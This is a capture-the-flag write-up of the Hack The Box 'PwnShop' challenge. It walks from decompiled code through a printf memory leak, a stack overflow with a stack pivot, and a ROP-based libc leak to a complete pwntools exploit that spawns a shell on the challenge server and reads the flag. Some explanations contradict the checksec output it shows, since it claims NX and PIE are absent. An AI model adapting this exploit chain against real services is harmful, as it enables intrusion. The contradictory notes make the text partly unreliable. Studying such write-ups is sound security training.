

PwnShop

1) decompiled

```
Decompile: FUN_001010a0 - (pwnshop)

1
2 undefined [16] FUN_001010a0(void)
3
4 {
5     undefined auVar1 [16];
6     int iVar2;
7     ulong in_RCX;
8     char cVar3;
9
10    FUN_0010121e();
11    puts("=====  
HTB PwnShop  
=====");
12    while( true ) {
13        while( true ) {
14            puts("What do you wanna do?");
15            printf("1> Buy\n2> Sell\n3> Exit\n> ");
16            iVar2 = getchar();
17            getchar();
18            cVar3 = (char)iVar2;
19            if (cVar3 != '2') break;
20            FUN_0010126a();
21        }
22        if (cVar3 == '3') break;
23        if (cVar3 == '1') {
24            FUN_0010132a();
25        }
26        else {
27            puts("Please try again.");
28        }
29    }
30    auVar1._8_8_ = 0;
31    auVar1._0_8_ = in_RCX;
32    return auVar1 << 0x40;
33 }
34
```

```

1
2 void FUN_0010126a(void)
3
4 {
5     int iVar1;
6     long lVar2;
7     undefined4 *puVar3;
8     byte bVar4;
9     undefined4 auStack_48 [8];
10    undefined8 local_28;
11    undefined4 *local_20;
12
13    bVar4 = 0;
14    local_20 = &DAT_001040c0;
15    printf("What do you wish to sell? ");
16    local_28 = 0;
17    puVar3 = auStack_48;
18    for (lVar2 = 8; lVar2 != 0; lVar2 = lVar2 + -1) {
19        *puVar3 = 0;
20        puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
21    }
22    read(0,auStack_48,0x1f);
23    printf("How much do you want for it? ");
24    read(0,&local_28,8);
25    iVar1 = strcmp((char *)&local_28,"13.37\n");
26    if (iVar1 == 0) {
27        puts("Sounds good. Leave details here so I can ask my guy to take a look.");
28        puVar3 = local_20;
29        for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
30            *puVar3 = 0;
31            puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
32        }
33        read(0,local_20,0x40);
34    }
35    else {
36        printf("What? %s? The best I can do is 13.37$\n",&local_28);
37    }
38    return;
39 }
40

```

Decompile: FUN_0010132a - (pwnshop)

```
1
2 void FUN_0010132a(void)
3
4 {
5     undefined auStack_48 [72];
6
7     puts("Sorry, we aren't selling right now.");
8     printf("But you can place a request. \nEnter details: ");
9     read(0, auStack_48, 0x50);
10    return;
11 }
12
```

2) Securities

```
(vigneswar@VigneswarPC) - [~/Reverse/PwnShop]
$ checksec pwnshop
[*] '/home/vigneswar/Reverse/PwnShop/pwnshop'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

no NX - we cannot execute stack

no PIE - we cannot determine instruction locations

3) Vulnerabilities

- i) printf %s adjacent leak
- ii) stack overflow of 8 bytes

4) attack path

- i) get base address using printf leak
- ii) use rop chain + (stack pivot) to leak libc address
- iii) use libc address to calculate system('/bin/bash')

5) Leaking Base Address

- i) read() doesn't add a null character at end, so if we use all 8 bytes, we can print also the adjacent memory contents
- ii) subtract this from base address (found using debugger) to find offset of this address
- iii) using this offset, we can find base address on runtime

Code:

```
io.sendlineafter(b'\n>', b'2')
```

```
io.sendlineafter(b'?', b'')
io.sendlineafter(b'?', b'1'*8)
io.recvuntil(b'11111111')
base_address = unpack(io.recvuntil(b'?').removesuffix(b'?'), 'all', endian='little') - 16576 #offset
```

6) use rop chain to leak libc address

Overflow:

```

stack
0x00007ffd2108d988 | +0x0000: 0x5555555555555555 ← $rsp
0x00007ffd2108d990 | +0x0008: 0x00007fc2ce3b0840 → 0x00007fc2ce3b2300 → 0x0
0000000000000000
0x00007ffd2108d998 | +0x0010: 0x00007ffd2108dab8 → 0x00007ffd2108e07e → "./
pwnshop"
0x00007ffd2108d9a0 | +0x0018: 0x0000000000000001
0x00007ffd2108d9a8 | +0x0020: 0x00007fc2ce2046ca → <__libc_start_call_main+12
2> mov edi, eax
0x00007ffd2108d9b0 | +0x0028: 0x00007ffd2108daa0 → 0x00007ffd2108daa8 → 0x0
0007fc2ce3cc160 → 0x00007fc2ce1dd000 → 0x03010102464c457f
0x00007ffd2108d9b8 | +0x0030: 0x000055cc7e6b20a0 → push rbp
0x00007ffd2108d9c0 | +0x0038: 0x0000000017e6b1040

code:x86:64
0x55cc7e6b2350      xor     edi, edi
0x55cc7e6b2352      call   0x55cc7e6b2060 <read@plt>
0x55cc7e6b2357      add    rsp, 0x48
→ 0x55cc7e6b235b    ret
[!] Cannot disassemble from $PC

threads
[#0] Id 1, Name: "pwnshop", stopped 0x55cc7e6b235b in ?? (), reason: SIGSEGV
trace
[#0] 0x55cc7e6b235b → ret

```

Stack pivoting:

if we can subtract rsp, we can have more instructions inside stack to have a longer rop chain

```

gef> x/100 $rsp-100
0x7ffd2108d924: 0x0      0x2108dac8      0x7ffd      0x0
0x7ffd2108d934: 0x0      0x7e6b2357      0x55cc      0x55555555
0x7ffd2108d944: 0x55555555      0x55555555      0x55555555      0x55555555
0x7ffd2108d954: 0x55555555      0x55555555      0x55555555      0x55555555
0x7ffd2108d964: 0x55555555      0x55555555      0x55555555      0x55555555
0x7ffd2108d974: 0x55555555      0x55555555      0x55555555      0x55555555
0x7ffd2108d984: 0x55555555      0x55555555      0x55555555      0x55555555
0x7ffd2108d994: 0x7fc2 0x2108dab8      0x7ffd      0x1

```

```
0x000000000000001219: sub rsp, 0x28; ret;
```

7) Finding libc version of target machine

```
(vigneswar@VigneswarPC)~$ python3 exploit.py
Libc Address of printf: 0x7f2987db5810
```

```
io.sendlineafter(b'\n>', b'\x001')
rop_padding = b'\x55'*40
rop_chain = pop_rdi_ret + printf_pointer + jump_puts + start_fun
stack_padding = b'\x55'*(72-len(rop_padding)-len(rop_chain))
io.sendlineafter(b':', rop_padding + rop_chain + stack_padding + sub_rsp_ret)
libc_address = unpack(io.recvuntil(b'=')[1:-2], 'all', endian='little')
print(f"Libc Address of printf: {hex(libc_address)}")
```

```
(vigneswar@VigneswarPC)~$ python3 exploit.py
Libc Address of read: 0x7fa1fa275310
Here's your shell :)
```

← → ↻ 🔍 libc.rip

Powered by the [libc-database search API](#)

Search

Symbol name	Address	
printf	810	REMOVE
read	310	REMOVE
		REMOVE

FIND

Results

libc6_2.23-0ubuntu11.2_amd64

8) finding offsets

Results

libc6_2.23-0ubuntu11.2_amd64

Download	Click to download
All Symbols	Click to download
BuildID	c4fd86ec1eed57a09c79ce601f6c6e3796f574df
MD5	fb1692c79359ae96029e590c23872ed5
__libc_start_main_ret	0x20840
dup2	0xf7a30
printf	0x55810
puts	0x6f6a0
read	0xf7310
str_bin_sh	0x18ce17
system	0x453a0
write	0xf7370

9) Exploit:

```
from pwn import *
```

```
# basic setup
```

```
context(os='linux', arch='amd64', log_level='error')
```

```
io = process(['nc', '159.65.20.166', '30199'])
```

```
signal.signal(signal.SIGALRM, signal.SIG_IGN)
```

```
# calculate base address
```

```
io.sendlineafter(b'\n>', b'2')
```

```
io.sendlineafter(b'?', b'')
```

```
io.sendlineafter(b'?', b'1'*8)
```

```
io.recvuntil(b'11111111')
```

```
base_address = unpack(io.recvuntil(b'?').removesuffix(b'?'), 'all', endian='little') - 16576
```

```
# ROP Gadgets
```

```
sub_rsp_ret = p64(0x1219+base_address) # calculated from ropper
```

```
jump_puts = p64(0x1030+base_address) # calculated from ropper
```

```
pop_rdi_ret = p64(0x13c3+base_address) # calculated from ropper
```

```
ret = p64(0x101a+base_address) # calculated from ropper
```

```
# Addresses
```

```

printf_pointer = p64(0x4020+base_address) # calculated from decompiled code
start_fun = p64(0x10a0+base_address) # calculated from decompiled code

# offsets
printf_offset = 0x55810 # calculated with readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 | grep 'system'
system_offset = 0x453a0 # calculated with readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 | grep
'system'
shell_offset = 0x18ce17 # calculated with strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 | grep '/'
bin'

# find libc address
io.sendlineafter(b'\n>', b'\x001')
rop_padding = b'\x55'*40
rop_chain = pop_rdi_ret + printf_pointer + jump_puts + start_fun
stack_padding = b'\x55'*(72-len(rop_padding)-len(rop_chain))
io.sendlineafter(b':', rop_padding + rop_chain + stack_padding + sub_rsp_ret)
libc_address = unpack(io.recvuntil(b'=')[1:-2], 'all', endian='little') - printf_offset

# get system shell
io.sendlineafter(b'\n>', b'\x001')
system_address = p64(system_offset+libc_address)
shell_address = p64(shell_offset+libc_address)
rop_chain = pop_rdi_ret + shell_address + ret + system_address
stack_padding = b'\x55'*(72-len(rop_padding)-len(rop_chain))
io.sendlineafter(b':', rop_padding + rop_chain + stack_padding + sub_rsp_ret)

print("Here's your shell :)")
io.interactive()

```

10) exploitation

```

(vigneswar@VigneswarPC)-[~/Reverse/PwnShop]
$ python3 exploit.py
Here's your shell :)
$ ls
core
flag.txt
pwnshop
$ cat flag.txt
HTB{th1s_is_wh@t_I_c@ll_a_g00d_d3a1!}
$ █

```